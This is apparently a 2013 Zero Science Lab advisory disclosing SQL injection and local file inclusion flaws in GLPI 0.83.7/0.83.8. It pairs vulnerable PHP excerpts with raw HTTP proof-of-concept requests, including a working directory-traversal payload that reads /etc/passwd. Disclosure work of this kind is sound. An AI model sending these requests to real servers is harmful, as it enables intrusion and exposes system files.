GLPI v0.83.8 – Multiple Vulnerabilities


GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7 and 0.83.8

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: Input passed via the POST parameter 'users_id_assign' in
'/ajax/ticketassigninformation.php' script, POST parameter 'filename'
in '/front/document.form.php' script, and POST parameter 'table' in
'glpi/ajax/comments.php' script is not properly sanitised before
being used in SQL queries. This can be exploited by a malicious
attacker to manipulate SQL queries by injecting arbitrary SQL code
in the affected application.


======================================================================
/inc/db.function.php:
---------------------

274: function countElementsInTable($table, $condition="") {
275: global $DB;
276:
277: if (is_array($table)) {
278: $table = implode('`,`',$table);
279: }
280:
281: $query = "SELECT COUNT(*) AS cpt
282: FROM `$table`";
283:
284: if (!empty($condition)) {
285: $query .= " WHERE $condition ";
286: }
287:
288: $result =$DB->query($query);
289: $ligne  = $DB->fetch_array($result);
290: return $ligne['cpt'];
291: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT COUNT(*) AS cpt
FROM `glpi_tickets`,`glpi_tickets_users` WHERE `glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id`
AND `glpi_tickets_users`.`users_id` = \'2\'\'
AND `glpi_tickets_users`.`type` = \'2\'
AND `glpi_tickets`.`is_deleted` = 0
AND `glpi_tickets`.`status`
NOT IN (\'solved\', \'closed\')
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'
AND `glpi_tickets`.`is_deleted` = 0
' at line 3
Backtrace :
/var/www/html/glpi/inc/db.function.php :288		DBmysql->query()
/var/www/html/glpi/inc/commonitilobject.class.php :362		countElementsInTable()
/var/www/html/glpi/ajax/ticketassigninformation.php :66		CommonITILObject->countActiveObjectsForTech()
/var/www/html/glpi/ajax/ticketassigninformation.php


======================================================================
/inc/document.class.php:
------------------------

1221: static function isValidDoc($filename) {
1222: global $DB;
1223:
1224: $splitter = explode(".",$filename);
1225: $ext      = end($splitter);
1226:
1227: $query="SELECT *
1228: FROM `glpi_documenttypes`
1229: WHERE `ext` LIKE '$ext'
1230: AND `is_uploadable`='1'";
1231:
1232: if ($result = $DB->query($query)) {
1233: if ($DB->numrows($result)>0) {
1234: return Toolbox::strtoupper($ext);
1235: }
1236: }
1237: return "";
1238: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT *
FROM `glpi_documenttypes`
WHERE `ext` LIKE \'1\'\'
AND `is_uploadable`=\'1\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 3
Backtrace :
/var/www/html/glpi/inc/document.class.php :1232		DBmysql->query()
/var/www/html/glpi/inc/document.class.php :1088		Document::isValidDoc()
/var/www/html/glpi/inc/document.class.php :275		Document::uploadDocument()
/var/www/html/glpi/inc/commondbtm.class.php :878		Document->prepareInputForUpdate()
/var/www/html/glpi/front/document.form.php :99		CommonDBTM->update()
/var/www/html/glpi/front/document.form.php


======================================================================
/inc/dbmysql.class.php:
-----------------------

364: function list_tables($table="glpi_%") {
365: return $this->query("SHOW TABLES LIKE '".$table."'");
366: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SHOW TABLES LIKE \'%glpi_users\'%\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
Backtrace :
/var/www/html/glpi/glpi/inc\dbmysql.class.php :365		DBmysql->query()
/var/www/html/glpi/inc/db.function.php :1182		DBmysql->list_tables()
/var/www/html/glpi/ajax/comments.php :47		TableExists()
/var/www/html/glpi/ajax/comments.php

======================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

----------------
{1}


POST /glpi/ajax/ticketassigninformation.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/ticket.form.php
Content-Length: 17
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

users_id_assign=2{SQL_Injection}


----------------
{2}


POST /glpi/front/document.form.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/glpi/front/document.form.php?id=4
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------19302542618340
Content-Length: 1699

-----------------------------19302542618340
Content-Disposition: form-data; name="entities_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="is_recursive"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="name"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="comment"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="current_filepath"


-----------------------------19302542618340
Content-Disposition: form-data; name="current_filename"


-----------------------------19302542618340
Content-Disposition: form-data; name="filename"; filename=1{SQL_Injection}
Content-Type: application/octet-stream


-----------------------------19302542618340
Content-Disposition: form-data; name="upload_file"


-----------------------------19302542618340
Content-Disposition: form-data; name="link"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="documentcategories_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="mime"

application/octet-stream
-----------------------------19302542618340
Content-Disposition: form-data; name="update"

Update
-----------------------------19302542618340
Content-Disposition: form-data; name="_read_date_mod"

2013-06-14 20:27:56
-----------------------------19302542618340
Content-Disposition: form-data; name="id"

4
-----------------------------19302542618340
Content-Disposition: form-data; name="_glpi_csrf_token"

f27853afa3e705b5042c0ae4d135679c
-----------------------------19302542618340--


----------------
{3}


POST /glpi/ajax/comments.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 59
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://localhost/glpi/front/planning.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=frk5prfmarsc9ebo1u751skkb2

value=5&table=glpi_users{SQL Injection}&withlink=comment_link_uID302668907


----------------

#################################################################################################################


GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input
passed thru the 'filetype' parameter to 'common.tabs.php' script is not
properly verified before being used to include files. This can be exploited
to include files from local resources with directory traversal attacks
and URL encoded NULL bytes.

========================================================================
/ajax/common.tabs.php:
----------------------

46: if (!isset($_REQUEST['itemtype']) || empty($_REQUEST['itemtype'])) {
47: exit();
62: $item = new $_REQUEST['itemtype'])();

========================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

---


POST /glpi/ajax/common.tabs.php?_dc=1371234969991 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/user.form.php?id=2
Content-Length: 75
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

target=/glpi/front/user.form.php&itemtype=../../../../../../../../../../../../../../../../etc/passwd%00User&glpi_tab=Profile_User$1&id=2

---

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
..
..